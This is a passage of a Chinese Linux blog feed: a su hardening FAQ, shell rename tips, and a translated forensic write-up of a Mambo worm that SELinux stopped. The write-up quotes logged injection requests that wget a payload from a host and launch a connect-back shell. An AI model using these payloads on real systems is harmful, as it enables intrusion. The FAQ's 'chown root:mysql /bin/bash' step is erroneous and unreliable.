答: 他们可以从其它机器拷贝su命令, 但是他们将不能对su进行正确的权限设置比如chown root和chmod u+s等等. 所以拷贝过来su不能够正常工作. </p>
<p><strong>问二:</strong> 如何防止普通用户执行su命令.<br />
答: </p>
<p>1). 你可以建立一个专门的组, 只有组成员才能执行su命令<br />
islab# groupadd wheel<br />
islab# useradd wheel<br />
islab# chown root:mysql /bin/bash<br />
islab# chmod 4750 /bin/su</p>
<p>2). 只有root用户才能执行su命令.<br />
islab# chmod 4700 /bin/su</p>
<p>3). 通过pam库实现只有wheel组成员才能执行su命令, 下面例子中增加了zhaoke帐号到wheel组中.<br />
islab# groupadd wheel<br />
islab# useradd wheel<br />
islab# usermod -G wheel zhaoke<br />
islab# ll /lib/security/pam_wheel.so<br />
-rwxr-xr-x 1 root root 5692 Feb 22  2007 /lib/security/pam_wheel.so<br />
islab# vi /etc/pam.d/su<br />
增加下面一行auth required /lib/security/pam_wheel.so use_uid<br />
然后保存退出su配置文件.</p>
<p><strong>问三:</strong> 普通用户虽然不能执行su命令, 但是还有可能通过蛮力攻击获得root的密码<br />
答: 普通用户可以在shell或者ssh方式对root帐户进行蛮力攻击.我们可以考虑使用一些安全工具如pam_abl来对ssh进行保护. pam_abl将能在设定的时间内对错误登陆的帐户进行进行临时封禁. 当然普通用户也可以通过程序漏洞提升权限, 比如缓冲区溢出.
</p>
Keyword: <a href="http://zhaoke.com/blog/tag/linux" rel="tag">linux</a>, <a href="http://zhaoke.com/blog/tag/security" rel="tag">security</a>, <a href="http://zhaoke.com/blog/tag/su" rel="tag">su</a><a href="http://zhaoke.com/blog/tag/linux" rel="tag">linux</a>, <a href="http://zhaoke.com/blog/tag/security" rel="tag">security</a>, <a href="http://zhaoke.com/blog/tag/su" rel="tag">su</a>]]></content:encoded>
			<wfw:commentRss>http://zhaoke.com/blog/161.html/feed/</wfw:commentRss>
		</item>
		<item>
		<title>2007年Linux内核峰会出席人员列表</title>
		<link>http://zhaoke.com/blog/148.html</link>
		<comments>http://zhaoke.com/blog/148.html#comments</comments>
		<pubDate>Fri, 24 Aug 2007 07:57:52 +0000</pubDate>
		<dc:creator>zhaoke</dc:creator>
		
	<dc:subject>linux</dc:subject><dc:subject>kernel</dc:subject><dc:subject>linux</dc:subject>
		<guid isPermaLink="false">http://blog.zhaoke.com/148.html</guid>
		<description><![CDATA[Dave Jones在他的个人博客上公布了今年Linux内核峰会出席人员列表. 列表从这里下载.

Keyword: kernel, linuxkernel, linux]]></description>
			<content:encoded><![CDATA[<p>Dave Jones在他的<a href="http://kernelslacker.livejournal.com/90121.html" target="_blank">个人博客</a>上公布了今年Linux内核峰会出席人员列表. 列表从<a href="http://thunker.thunk.org/pipermail/ksummit-2007-discuss/attachments/20070822/33fc2c20/ks2007-invites.pdf" target="_blank">这里</a>下载.
</p>
Keyword: <a href="http://zhaoke.com/blog/tag/kernel" rel="tag">kernel</a>, <a href="http://zhaoke.com/blog/tag/linux" rel="tag">linux</a><a href="http://zhaoke.com/blog/tag/kernel" rel="tag">kernel</a>, <a href="http://zhaoke.com/blog/tag/linux" rel="tag">linux</a>]]></content:encoded>
			<wfw:commentRss>http://zhaoke.com/blog/148.html/feed/</wfw:commentRss>
		</item>
		<item>
		<title>小技巧: 使用shell命令修改多个文件</title>
		<link>http://zhaoke.com/blog/141.html</link>
		<comments>http://zhaoke.com/blog/141.html#comments</comments>
		<pubDate>Mon, 20 Aug 2007 14:30:52 +0000</pubDate>
		<dc:creator>zhaoke</dc:creator>
		
	<dc:subject>linux</dc:subject><dc:subject>command</dc:subject><dc:subject>linux</dc:subject><dc:subject>shell</dc:subject>
		<guid isPermaLink="false">http://blog.zhaoke.com/141.html</guid>
		<description><![CDATA[注: 下面所有命令已在bash shell环境中测试
实例一:  修改当前目录所有的*.php5为*.php文件.
方法一
for old in *.php5; do cp $old `basename $old .php5`.php; done
使用循环语句发现当前目录的所有*.php5文件, 然后一个接一个的修改为*.php文件, 直到结束.
比如当前目录存在两个*.php5文件:
$ ll
total 8
-rw-rw-r&#8211; 1 zhaoke zhaoke 3 Aug 20 07:58 islab.php5
-rw-rw-r&#8211; 1 zhaoke zhaoke 3 Aug 20 08:10 zhaoke.php5
首先找到当前目录的islab.php5文件, 然后拷贝islab.php5, &#8216;basename islab.php5 .php5&#8242; .php
basename将返回&#8221;islab&#8221;字符, 然后增加.php到islab后面, 最后你得到islab.php文件.

shell命令运行后的当前目录:
$ for old in *.php5; do cp $old `basename $old .php5`.php; done
$ ll
total 16
-rw-rw-r&#8211; [...]]]></description>
			<content:encoded><![CDATA[<p>注: 下面所有命令已在bash shell环境中测试</p>
<p><strong>实例一</strong>:  修改当前目录所有的*.php5为*.php文件.</p>
<p>方法一</p>
<p>for old in *.php5; do cp $old `basename $old .php5`.php; done</p>
<p>使用循环语句发现当前目录的所有*.php5文件, 然后一个接一个的修改为*.php文件, 直到结束.<br />
比如当前目录存在两个*.php5文件:<br />
$ ll<br />
total 8<br />
-rw-rw-r&#8211; 1 zhaoke zhaoke 3 Aug 20 07:58 islab.php5<br />
-rw-rw-r&#8211; 1 zhaoke zhaoke 3 Aug 20 08:10 zhaoke.php5</p>
<p>首先找到当前目录的islab.php5文件, 然后拷贝islab.php5, &#8216;basename islab.php5 .php5&#8242; .php<br />
basename将返回&#8221;islab&#8221;字符, 然后增加.php到islab后面, 最后你得到islab.php文件.</p>
<p><a id="more-141"></a></p>
<p>shell命令运行后的当前目录:<br />
$ for old in *.php5; do cp $old `basename $old .php5`.php; done<br />
$ ll<br />
total 16<br />
-rw-rw-r&#8211; 1 zhaoke zhaoke 3 Aug 20 08:39 islab.php<br />
-rw-rw-r&#8211; 1 zhaoke zhaoke 3 Aug 20 07:58 islab.php5<br />
-rw-rw-r&#8211; 1 zhaoke zhaoke 3 Aug 20 08:39 zhaoke.php<br />
-rw-rw-r&#8211; 1 zhaoke zhaoke 3 Aug 20 08:10 zhaoke.php5</p>
<p>你也可以修改shell命令中的cp为mv:<br />
$ for old in *.php5; do mv $old `basename $old .php5`.php; done<br />
$ ll<br />
total 8<br />
-rw-rw-r&#8211; 1 zhaoke zhaoke 3 Aug 20 07:58 islab.php<br />
-rw-rw-r&#8211; 1 zhaoke zhaoke 3 Aug 20 08:10 zhaoke.php</p>
<p>方法二<br />
$ rename .php5 .php *.php5</p>
<p>方法三<br />
for x in *.php5; do n=${x/.php5/.php}; mv $x $n; done</p>
<p>方法四<br />
for a in *php5 ; do mv $a ${a%%5} ; done</p>
<p>方法五<br />
for a in *.php5; do t=`echo $a | sed &#8217;s/.php5$/.php/&#8217;`; mv $a $t; done</p>
<p><strong>实例二</strong>: 把当前目录下所有文件及目录名中的大写字符改为小写符号</p>
<p>方法一:<br />
1. 创建一个ucase脚本, 内容如下:<br />
#!/bin/bash<br />
# All names are converted to lower-case before matching<br />
# [A-Z]* matches upper case names<br />
 for i in [A-Z]*<br />
 do<br />
        j=`echo $i | tr &#8216;[A-Z]&#8217; &#8216;[a-z]&#8217;`<br />
        mv $i $j<br />
 done</p>
<p>2. 赋予ucase脚本可执行权限<br />
$ chmod +x ucase</p>
<p>3. 列出当前目录下的所有文件及目录<br />
$ ll<br />
total 16<br />
-rw-rw-r&#8211; 1 zhaoke zhaoke    3 Aug 20 08:42 Islab.php<br />
-rwxrwxr-x 1 zhaoke zhaoke  187 Aug 20 08:54 ucase<br />
drwxrwxr-x 2 zhaoke zhaoke 4096 Aug 20 08:54 ZhaoKe<br />
-rw-rw-r&#8211; 1 zhaoke zhaoke    3 Aug 20 07:58 zhaoke.php</p>
<p>4. 运行ucase脚本并查看结果<br />
./ucase<br />
mv: `ucase&#8217; and `ucase&#8217; are the same file<br />
mv: `zhaoke.php&#8217; and `zhaoke.php&#8217; are the same file<br />
$ ll<br />
total 16<br />
-rw-rw-r&#8211; 1 zhaoke zhaoke    3 Aug 20 08:42 islab.php<br />
-rwxrwxr-x 1 zhaoke zhaoke  187 Aug 20 08:54 ucase<br />
drwxrwxr-x 2 zhaoke zhaoke 4096 Aug 20 08:54 zhaoke<br />
-rw-rw-r&#8211; 1 zhaoke zhaoke    3 Aug 20 07:58 zhaoke.php</p>
<p>方法二:<br />
$ rename &#8216;y/A-Z/a-z/&#8217; *
</p>
Keyword: <a href="http://zhaoke.com/blog/tag/command" rel="tag">command</a>, <a href="http://zhaoke.com/blog/tag/linux" rel="tag">linux</a>, <a href="http://zhaoke.com/blog/tag/shell" rel="tag">shell</a><a href="http://zhaoke.com/blog/tag/command" rel="tag">command</a>, <a href="http://zhaoke.com/blog/tag/linux" rel="tag">linux</a>, <a href="http://zhaoke.com/blog/tag/shell" rel="tag">shell</a>]]></content:encoded>
			<wfw:commentRss>http://zhaoke.com/blog/141.html/feed/</wfw:commentRss>
		</item>
		<item>
		<title>使用SELinux阻止Mambo攻击</title>
		<link>http://zhaoke.com/blog/137.html</link>
		<comments>http://zhaoke.com/blog/137.html#comments</comments>
		<pubDate>Fri, 17 Aug 2007 15:19:27 +0000</pubDate>
		<dc:creator>zhaoke</dc:creator>
		
	<dc:subject>linux</dc:subject><dc:subject>linux</dc:subject><dc:subject>Mambo</dc:subject><dc:subject>SELinux</dc:subject>
		<guid isPermaLink="false">http://blog.zhaoke.com/137.html</guid>
		<description><![CDATA[
Linux杂志发布了一篇有趣的文章, 使用SELinux阻止Mambo攻击, 作者是Richard Bullington-McGuire.
什么是Mambo? Mambo是一个用PHP开发的内容管理系统(CMS). 在某些地方, 病毒能够对系统进行攻击, 其中病毒就能顺利地破坏Richard的操作系统. 文章详细描述了如何使用SELinux发现和控制缺口. 
文章还演示了SELinux的一个核心目标: 阻止恶意软件利用受病毒感染的软件来破坏系统. 在本实例中, 第三方的PHP应用程序能够对系统产生一定的负载, 但是这些负载可以控制, 将不会对系统进行任何破坏.
这篇文章对于计算机鉴识过程来说也非常具有参考价值.

原文标题及网址:
Mambo Exploit Blocked by SELinux
http://interactive.linuxjournal.com/article/9176f
下面是中文版本:
使用SELinux阻止Mambo攻击
一个真实的SELinux实例.
如果您管理着一台连接互连网的服务器, 您将有机会成功的组织一次攻击. 去年我发现, 尽管我在一台测试Web服务器(目标主机)上部署了多层防御, 但是最终攻击者还是通过使用攻击代码(部分)成功地获得了主机的访问权限. 该服务器运行的是Red Hat Enterprise 4(RHEL 4)企业版和Mambo内容管理系统. 服务器部署了多层防御, 包括安全性增强型版本的Linux(SElinux). SElinux可以有效阻止攻击者执行第二阶段的攻击, 可能阻止攻击者获得目标主机的root权限.
本文展示了一个学习入侵防御的实例, 解释了: 我是如何发现入侵, 我通过哪些步骤识别了攻击代码, 我是如何进行攻击修复, 我得到了系统安全方面的哪些教训. 由于隐私原因, 我修改了机器名和IP地址.
攻击过程中用到的计算机:
目标主机(targetbox): 192.168.166.155 我们的服务器, 运行RHEL 4和Mambo.
病毒主机(wormhole): 10.9.233.24 病毒攻击来源.
僵死web主机(zombieweb): 172.16.31.57 用来寄存攻击负载的Web主机.
cback主机(cbackbox): 10.200.238.39 第二阶段病毒攻击的目标.
防御您的系统
今天谨慎的系统管理员至少会使用一层的安全方法来防御他们的主机, 安全方法如, 使用防火墙, 自动补丁管理系统, 日志分析工具和SELinux. SELinux提供了额外的访问控制机制, 这在传统Unix安全模型中是没有的. [...]]]></description>
			<content:encoded><![CDATA[<p><img src="http://blog.zhaoke.com/data/2007/0817/Mambo-50.png" alt="" /></p>
<p>Linux杂志发布了一篇有趣的文章, 使用SELinux阻止Mambo攻击, 作者是<a href="http://www.faisal.com/~rbulling/" target="_blank">Richard Bullington-McGuire</a>.</p>
<p>什么是Mambo? Mambo是一个用PHP开发的内容管理系统(CMS). 在某些地方, 病毒能够对系统进行攻击, 其中病毒就能顺利地破坏Richard的操作系统. 文章详细描述了如何使用SELinux发现和控制缺口. </p>
<p>文章还演示了SELinux的一个核心目标: 阻止恶意软件利用受病毒感染的软件来破坏系统. 在本实例中, 第三方的PHP应用程序能够对系统产生一定的负载, 但是这些负载可以控制, 将不会对系统进行任何破坏.</p>
<p>这篇文章对于计算机鉴识过程来说也非常具有参考价值.</p>
<p><a id="more-137"></a></p>
<p>原文标题及网址:<br />
Mambo Exploit Blocked by SELinux<br />
<a href="http://interactive.linuxjournal.com/article/9176f" target="_blank">http://interactive.linuxjournal.com/article/9176f</a></p>
<p>下面是中文版本:</p>
<p>使用SELinux阻止Mambo攻击</p>
<p>一个真实的SELinux实例.</p>
<p>如果您管理着一台连接互连网的服务器, 您将有机会成功的组织一次攻击. 去年我发现, 尽管我在一台测试Web服务器(目标主机)上部署了多层防御, 但是最终攻击者还是通过使用攻击代码(部分)成功地获得了主机的访问权限. 该服务器运行的是Red Hat Enterprise 4(RHEL 4)企业版和Mambo内容管理系统. 服务器部署了多层防御, 包括安全性增强型版本的Linux(SElinux). SElinux可以有效阻止攻击者执行第二阶段的攻击, 可能阻止攻击者获得目标主机的root权限.</p>
<p>本文展示了一个学习入侵防御的实例, 解释了: 我是如何发现入侵, 我通过哪些步骤识别了攻击代码, 我是如何进行攻击修复, 我得到了系统安全方面的哪些教训. 由于隐私原因, 我修改了机器名和IP地址.</p>
<p>攻击过程中用到的计算机:</p>
<p>目标主机(targetbox): 192.168.166.155 我们的服务器, 运行RHEL 4和Mambo.<br />
病毒主机(wormhole): 10.9.233.24 病毒攻击来源.<br />
僵死web主机(zombieweb): 172.16.31.57 用来寄存攻击负载的Web主机.<br />
cback主机(cbackbox): 10.200.238.39 第二阶段病毒攻击的目标.</p>
<p>防御您的系统</p>
<p>今天谨慎的系统管理员至少会使用一层的安全方法来防御他们的主机, 安全方法如, 使用防火墙, 自动补丁管理系统, 日志分析工具和SELinux. SELinux提供了额外的访问控制机制, 这在传统Unix安全模型中是没有的. 最近Red Hat Linux企业版和Fedora Core发行版已经包含了&#8221;SELinux目标策略&#8221;. 目的是降低程序运行的安全风险, 限制多个软件包中程序的权限, 确保程序能够正确操作. 我们可以通过限制特定文件或目录的&#8221;读, 写和执行权限&#8221;来阻止攻击.</p>
<p><strong>发现入侵事件</strong></p>
<p>大概在2006年5月6日星期六的早上8点, 我正在审计目标主机的日志, 在/var/log/messages文件中发现了一条SELinux强制消息:</p>
<p>May  4 07:52:27 targetbox kernel: audit(1146743547.060:2277):<br />
avc:  denied  { execute_no_trans } for  pid=9401 comm=&#8221;sh&#8221;<br />
name=&#8221;cback&#8221; dev=dm-0 ino=852100<br />
scontext=user_u:system_r:httpd_sys_script_t<br />
tcontext=user_u:object_r:httpd_sys_script_rw_t tclass=file</p>
<p>尝试使用locate快速识别cback:</p>
<p># locate cback<br />
/tmp/cback<br />
/usr/share/pixmaps/gnome-ccbackground.png<br />
/usr/lib/libartscbackend.la<br />
/usr/lib/libartscbackend.so.0.0.0<br />
/usr/lib/libartscbackend.so.0</p>
<p>使用文件命令揭露cback执行程序的文件类型:</p>
<p># file /tmp/cback<br />
/tmp/cback: ELF 32-bit LSB executable, Intel 80386,<br />
version 1 (SYSV), for GNU/Linux 2.2.0, dynamically<br />
linked (uses shared libs), not stripped</p>
<p>用户apache拥有cback文件, 但是日期确显示的是在目标主机最初安装系统之前的几个月:</p>
<p># ls -i /tmp/cback<br />
852100 /tmp/cback<br />
[root@targetbox ~]# ls -lZ /tmp/cback<br />
-rwxr&#8211;r&#8211;  apache   apache<br />
user_u:object_r:httpd_sys_script_rw_t /tmp/cback<br />
[root@targetbox ~]# ls -lai /tmp/cback<br />
852100 -rwxr&#8211;r&#8211;  1 apache apache 13901<br />
Feb 15  2005 /tmp/cback</p>
<p>上面可以确认在审计消息中是cback是一个文件, 它有inode节点号852100.</p>
<p>如果locate没有发现文件, 我用find命令通过inode号找到了文件:</p>
<p># find / -inum 852100 2>/dev/null<br />
/tmp/cback</p>
<p><strong>通过分析执行文件来寻找线索</strong></p>
<p>清晰了脚本名称, 它的目的可能是充当回调程序. 因为apache用户拥有该文件, 我检查了Web服务器的日志文件, 看是否能找到任何线索.</p>
<p>因为攻击程序位于/tmp目录, 为了保护证据, 我保存了一份拷贝.</p>
<p>攻击程序似乎是使用sockets方法, 我们可以通过下面的字符串来判断(列表1).</p>
<p><strong>列表1</strong>. 攻击负载字符串</p>
<p># strings cback<br />
/lib/ld-linux.so.2<br />
libc.so.6<br />
printf<br />
connect<br />
strerror<br />
execl<br />
dup2<br />
sleep<br />
socket<br />
inet_addr<br />
wait<br />
fork<br />
htons<br />
__errno_location<br />
exit<br />
atoi<br />
_IO_stdin_used<br />
__libc_start_main<br />
close<br />
__gmon_start__<br />
GLIBC_2.0<br />
PTRh<br />
[^_]<br />
%s <host>
<port>
cannot create socket, retrying in 5 seconds<br />
socket ok<br />
error: %s<br />
retting in 5 seconds<br />
/bin/sh<br />
fork error, retry in 5 seconds</p>
<p>我在Web服务器的日志文件中发现了很多可疑的请求, 一些使用了命令注射和wget来攻击Mambo程序, 还有一些攻击其它的内容管理系统. 我使用grep拷贝了文件中所有包含php或者wget的行, 然后把这些行放到/root/exploit.log文件. 列表2包含了许多最近攻击尝试的跟踪信息.</p>
<p><strong>列表2</strong>. Web服务器访问日志的攻击跟踪</p>
<p># grep 10.9.233.25 /root/exploit.log<br />
/var/log/httpd/access_log:10.9.233.25 - -<br />
[04/May/2006:07:52:21 -0400]<br />
&#8220;GET<br />
/index2.php?option=com_content&#038;do_pdf=1&#038;id=1index2.php<br />
?_REQUEST[option]=com_content&#038;_REQUEST[Itemid]<br />
=1&#038;GLOBALS=&#038;mosConfig_absolute_path=<br />
http://172.16.31.57/cmd.gif?&#038;cmd=cd%20/tmp;<br />
wget%20172.16.31.57/cback;chmod%20744%20cback;<br />
./cback%2010.200.238.39%208080;echo%20YYY;echo|<br />
HTTP/1.1&#8243; 200 594 &#8220;-&#8221; &#8220;Mozilla/4.0 (compatible; MSIE 6.0;<br />
Windows NT 5.1;)&#8221;<br />
/var/log/httpd/access_log:10.9.233.25 - -<br />
[04/May/2006:07:52:24 -0400]<br />
&#8220;GET<br />
/mambo/index2.php?_REQUEST[option]=com_content&#038;_REQUEST<br />
[Itemid]=1&#038;GLOBALS=&#038;mosConfig_absolute_path=<br />
http://172.16.31.57/cmd.gif?&#038;cmd=cd%20/tmp;<br />
wget%20172.16.31.57/cback;chmod%20744%20cback;<br />
./cback%2010.200.238.39%208080;echo%20YYY;echo|<br />
HTTP/1.1&#8243; 404 294 &#8220;-&#8221; &#8220;Mozilla/4.0 (compatible; MSIE 6.0;<br />
Windows NT 5.1;)&#8221;<br />
/var/log/httpd/access_log:10.9.233.25 - -<br />
[04/May/2006:07:52:25 -0400]<br />
&#8220;GET<br />
/cvs/index2.php?_REQUEST[option]=com_content&#038;_REQUEST<br />
[Itemid]=1&#038;GLOBALS=&#038;mosConfig_absolute_path=<br />
http://172.16.31.57/cmd.gif?&#038;cmd=cd%20/tmp;<br />
wget%20172.16.31.57/cback;chmod%20744%20cback;<br />
./cback%2010.200.238.39%208080;echo%20YYY;echo|<br />
HTTP/1.1&#8243; 404 292 &#8220;-&#8221; &#8220;Mozilla/4.0 (compatible; MSIE 6.0;<br />
Windows NT 5.1;)&#8221;<br />
/var/log/httpd/access_log:10.9.233.25 - -<br />
[04/May/2006:07:52:27 -0400]<br />
&#8220;POST /xmlrpc.php HTTP/1.1&#8243; 404 288 &#8220;-&#8221; &#8220;Mozilla/4.0<br />
(compatible; MSIE 6.0; Windows NT 5.1;)&#8221;</p>
<p>日志文件包含了两个非常有用的线索; 它确认了cback二进制文件跟&#8221;发送到Mambo程序的请求&#8221;有关系. 更多的是, 查询字符串证实了攻击者使用了wget, 一个命令行的网址抓取工具, 这样一来可以从远程服务器获得攻击代码. Web服务请求尝试使用IP参数10.200.238.39来执行cback二进制程序, 估计攻击者控制了另外一台机器.</p>
<p>攻击尝试执行shell命令序列:</p>
<p>cd /tmp<br />
wget 172.16.31.57/cback<br />
chmod 744 cback<br />
./cback 10.200.238.39 8080<br />
echo YYY<br />
echo| HTTP/1.1</p>
<p>返回到/var/log/messages文件, 我搜索了更多可疑的SELinux强制消息. 列表3包含了匹配的Web服务器攻击次数.</p>
<p><strong>列表3</strong>. SELinux审计消息</p>
<p>May  4 07:52:24 targetbox kernel:<br />
audit(1146743544.910:2275): avc:<br />
denied  { ioctl } for  pid=9399 comm=&#8221;wget&#8221;<br />
name=&#8221;error_log&#8221; dev=dm-0<br />
ino=1624085 scontext=user_u:system_r:httpd_sys_script_t<br />
tcontext=root:object_r:httpd_log_t tclass=file<br />
May  4 07:52:24 targetbox<br />
kernel: audit(1146743544.911:2276):<br />
avc:  denied  { ioctl } for  pid=9399<br />
comm=&#8221;wget&#8221; name=&#8221;error_log&#8221; dev=dm-0 ino=1624085<br />
scontext=user_u:system_r:httpd_sys_script_t<br />
tcontext=root:object_r:httpd_log_t<br />
tclass=file<br />
May  4 07:52:27 targetbox kernel: audit(1146743547.060:2277):<br />
avc: denied  { execute_no_trans } for  pid=9401 comm=&#8221;sh&#8221;<br />
name=&#8221;cback&#8221; dev=dm-0 ino=852100<br />
scontext=user_u:system_r:httpd_sys_script_t<br />
tcontext=user_u:object_r:httpd_sys_script_rw<br />
_t tclass=file</p>
<p>这显然是一个病毒, 因为www.pkrinternet.com同时(在另外一台机器, 但在同一个子网)也已经从10.9.233.25发送了请求, 看列表4.</p>
<p><strong>列表4</strong>. 通过附近的服务器验证病毒的活动</p>
<p>$ grep 10.9.233.25 \<br />
/var/log/httpd/www.pkrinternet.com-access_log<br />
10.9.233.25 - - [04/May/2006:07:52:21 -0400]<br />
&#8220;GET<br />
/index2.php?option=com_content&#038;do_pdf=1&#038;id=<br />
1index2.php?_REQUEST[option]=com_content&#038;_REQUEST<br />
[Itemid]=1&#038;GLOBALS=&#038;mosConfig_absolute_path=<br />
http://172.16.31.57/cmd.gif?&#038;cmd=cd%20/tmp;<br />
wget%20172.16.31.57/cback;chmod%20744%20cback;<br />
./cback%2010.200.238.39%208080;echo%20YYY;echo|<br />
HTTP/1.1&#8243; 404 290 &#8220;-&#8221; &#8220;Mozilla/4.0 (compatible; MSIE 6.0;<br />
Windows NT 5.1;)&#8221;<br />
10.9.233.25 - - [04/May/2006:07:52:21 -0400]<br />
&#8220;GET<br />
/index.php?option=com_content&#038;do_pdf=1&#038;id=1index2.php?_REQUEST<br />
[option]=com_content&#038;_REQUEST[Itemid]=1&#038;GLOBALS=<br />
&#038;mosConfig_absolute_path=<br />
http://172.16.31.57/cmd.gif?&#038;cmd=cd%20/tmp;<br />
wget%20172.16.31.57/cback;chmod%20744%20cback;<br />
./cback%2010.200.238.39%208080;echo%20YYY;echo|<br />
HTTP/1.1&#8243; 404 289 &#8220;-&#8221; &#8220;Mozilla/4.0 (compatible; MSIE 6.0;<br />
Windows NT 5.1;)&#8221;<br />
[ &#8230;output trimmed ]</p>
<p>上面显示了更多的攻击类型, 比如跟踪stockpot(类似Mambo的内容管理系统), xmlrpc.php, drupal和phpgroupware也出现在上面的grep结果中.</p>
<p>病毒只发送请求到指定的虚拟主机. 所以看起来病毒没有使用主机: 虚拟主机报头出现在请求当中. 这也意味着漏洞程序正在扫描同一子网, 而不是扫描大量的主机.</p>
<p>cback文件的修改时间是2005年2月5日. 这可能是wget从远程主机抓取文件的修改时间. wget通常会重置下载文件的修改时间, 从而与文件的最初修改时间匹配. 列表5显示了如何查询一个文件的所有时间戳.</p>
<p>列表5. 分析文件的时间戳<br />
$ for x in atime access status use; do<br />
>   echo -n &#8220;$x &#8221;<br />
>   ls -l &#8211;time=$x /tmp/cback<br />
> done<br />
[rbulling@targetbox ~]$ for x in atime access status use mtime; do<br />
>  echo -n &#8220;$x &#8221; ; ls -l &#8211;time=$x /tmp/cback<br />
> done<br />
atime -rwxr&#8211;r&#8211;  1 apache apache 13901 May  6 11:33 /tmp/cback<br />
access -rwxr&#8211;r&#8211;  1 apache apache 13901 May  6 11:33 /tmp/cback<br />
status -rwxr&#8211;r&#8211;  1 apache apache 13901 May  4 07:52 /tmp/cback<br />
use -rwxr&#8211;r&#8211;  1 apache apache 13901 May  6 11:33 /tmp/cback</p>
<p>cback二进制文件大概创建于5月4日的下午07:52, 这与wget命令注射攻击的时间是吻合的. 这也是文件属性的最后一次修改. 虽然Unix不允许您获取一个文件的真实创建时间, 但状态时间可以知道文件的真实创建时间. 其它时间与我对cback文件进行最初的分析是相吻合的. 如果更加仔细点的话, 我可以在访问cback文件之前使用ls命令, 这样atime, access和use时间将会是攻击者的时间.</p>
<p><strong>是什么引起了我的注意?</strong></p>
<p>因为这看起来像是病毒正在攻击Mambo, 通过Google搜索关键字&#8221;mambo worm&#8221;, 您可以发现很多攻击参考信息, 包括ComputerWorks的文章,<br />
F-Secure和Bugtraq(见资源栏目).</p>
<p>MITRE的Common Vulnerabilities and Exposures (CVE)项目提供了大多已知的漏洞. 所有的漏洞都有一个特征信息, 包括已确认问题的安全邮件列表和网站. 在cvw.mitre.org上搜索&#8221;mambo&#8221;, 然后会生成一些已发现的漏洞, 比如其中之一CVS-2005-3738有关mosConfig_absolute_path, 请求URL中的一个重要的变量. </p>
<p>当仔细阅读了最近有关Mambo的恶意软件活动后, 我发现攻击者大概会更加密切关注Net-Worm.Linux.Mare.d漏洞, 在很多新闻报道和漏洞数据库中都有描述. 然而, 一些攻击执行程序的名字(比如cback)在某些漏洞报告中名字有所不同.</p>
<p><strong>安全预防和取证</strong></p>
<p>为了尽可能安全地运行安全分析工具, 你需要在可信赖的连网主机(与生产网络断开)上来分析入侵. 这样一来, 任何存在的攻击程序将不会攻击网络中的其它机器, 而且入侵者也没有办法通过其它主机来截获您的分析信息. 在分析入侵的时候, 最好不要使用系统做其它的事情, 可能的话制做一张拯救盘. 虽然这些准备工作会消耗您的大多时间, 但是一旦问题出现, 你将能尽快恢复, 而且也可以有效的阻止问题的扩散.</p>
<p>最好是把整个磁盘的数据都拷贝到一个可移动的硬盘里面. 你可以使用下面的命令完成拷贝:</p>
<p># dd if=/dev/hda1 of=/mnt/removable-drive/disk.img bs=512k</p>
<p>然后加载磁盘, 你可以使用loop设备方式来分析备份数据(参考资源栏目的&#8221;Linux磁盘镜像). 虽然分析原有的系统可以节省很多时间, 但是这样做会更加保险, 更方便于取证.</p>
<p>在理想的世界中, 你可能会在攻击成功后来做这些事情. 然而有时候你必须考虑的问题的严重程度, 平衡好您拥有的时间和资源.</p>
<p><strong>解决攻击问题</strong></p>
<p>入侵者进入到系统后很有可能去修改apache用户可以访问和修改的文件, 这可能包括Mambo的PHP配置文件(其中包括MySQL数据库的用户名和密码). 我修改了数据库密码, 以防止入侵者使用它获得更大的用户权限.</p>
<p>我很幸运, 因为这只是一次测试安装. 为了防止以后的攻击, 我彻底删除了Mamboo整个程序. 然后我尝试安装最新的软件.</p>
<p>当系统上用户的帐户被盗后, 你将会面临着风险: 攻击者随时可能会获取超级帐户root的密码. 如果攻击者得到了root帐户, 数据恢复将会变的越加困难. 很多时候, 你都需要重新安装操作系统(注意使用完整安全的系统安装来源), 有选择地审计和恢复软件配置. 获得root权限的攻击者通常会在您不经意的时候安装rootkit程序, 它能很好的隐藏自己. 而且能够提供远程控制后门或者其它的恶意功能. 不过您可以使用一个叫做chkrootkit的程序(见chkrootkit.org网站), 它能帮助扫描活动的rootkit程序. 列表6显示了在目标主机上以非显示方式运行chkrootkit的屏幕输出结果.</p>
<p><strong>列表6</strong>. chkrootkit输出</p>
<p># chkrootkit -q<br />
/usr/lib/firefox-1.0.4/chrome/.reregchrome<br />
/usr/lib/firefox-1.0.6/chrome/.reregchrome<br />
/usr/lib/jvm/java-1.4.2-ibm-1.4.2.3/jre/.systemPrefs<br />
/usr/lib/jvm/java-1.4.2-ibm-1.4.2.3/jre/.systemPrefs/<br />
.system.lock<br />
/usr/lib/jvm/java-1.4.2-ibm-1.4.2.3/jre/.systemPrefs/<br />
.systemRootModFile<br />
/usr/lib/firefox-1.0.8/chrome/.reregchrome<br />
/usr/lib/firefox-1.0.7/chrome/.reregchrome<br />
/usr/lib/perl5/5.8.5/i386-linux-thread-multi/.packlist<br />
/usr/lib/perl5/vendor_perl/5.8.5/i386-linux-thread-multi/<br />
auto/mod_perl/.packlist<br />
/usr/lib/jvm/java-1.4.2-ibm-1.4.2.3/jre/.systemPrefs<br />
INFECTED (PORTS:  465)</p>
<p>chkrootkit程序用于检查和分析磁盘上受感染的文件, rookits和病毒通常就寄生在这些文件的背后. chkrootkit能够对隐藏文件及恶意软件使用的服务端口进行警告. 上面快速的检查揭露了所有的隐藏文件, 列出的这些隐藏文件不会对系统造成丝毫影响. &#8220;INFECTED(已感染)警告465号端口是一个错误的提示, 因为计算机上运行的web服务器缺省都使用465端口提供https服务. 在本实例中, 分析chkrootkit输出没有揭露真正的rootkit问题. 但是当您知道攻击者已经突破了您的攻击防线, 运行chkrootkit能帮助你获得有用的额外信息, 甚至是检查结果没有提供任何确切的结果.</p>
<p><strong>好消息</strong></p>
<p>在攻击过程中, 如果服务器运行了SELinux并打开了目标策略. 审计日志中最初的警告信息都是存取拒绝消息. Web服务器的错误日志提供了更多详细的注射shell代码的输出信息, 包括wget会话和wget尝试运行产生的存取拒绝消息, 见列表7.</p>
<p><strong>列表7</strong>. Web服务器错误日志: 显示攻击跟踪信息</p>
<p>[Thu May 04 07:52:24 2006] [error] [client 10.9.233.25]<br />
File does not exist: /var/www/html/mambo<br />
[client 10.9.233.25] PHP Warning:<br />
main(http://ess.trix.net/therules.dat):<br />
failed to open stream: HTTP<br />
request failed! HTTP/1.1 404 Not Found\r\n in<br />
http://172.16.31.57/cmd.gif?/includes/HTML_toolbar.php on line 13<br />
[client 10.9.233.25] PHP Warning:  main(): Failed opening<br />
&#8216;http://ess.trix.net/therules.dat&#8217; for inclusion<br />
(include_path=&#8217;.:/usr/share/pear&#8217;) in<br />
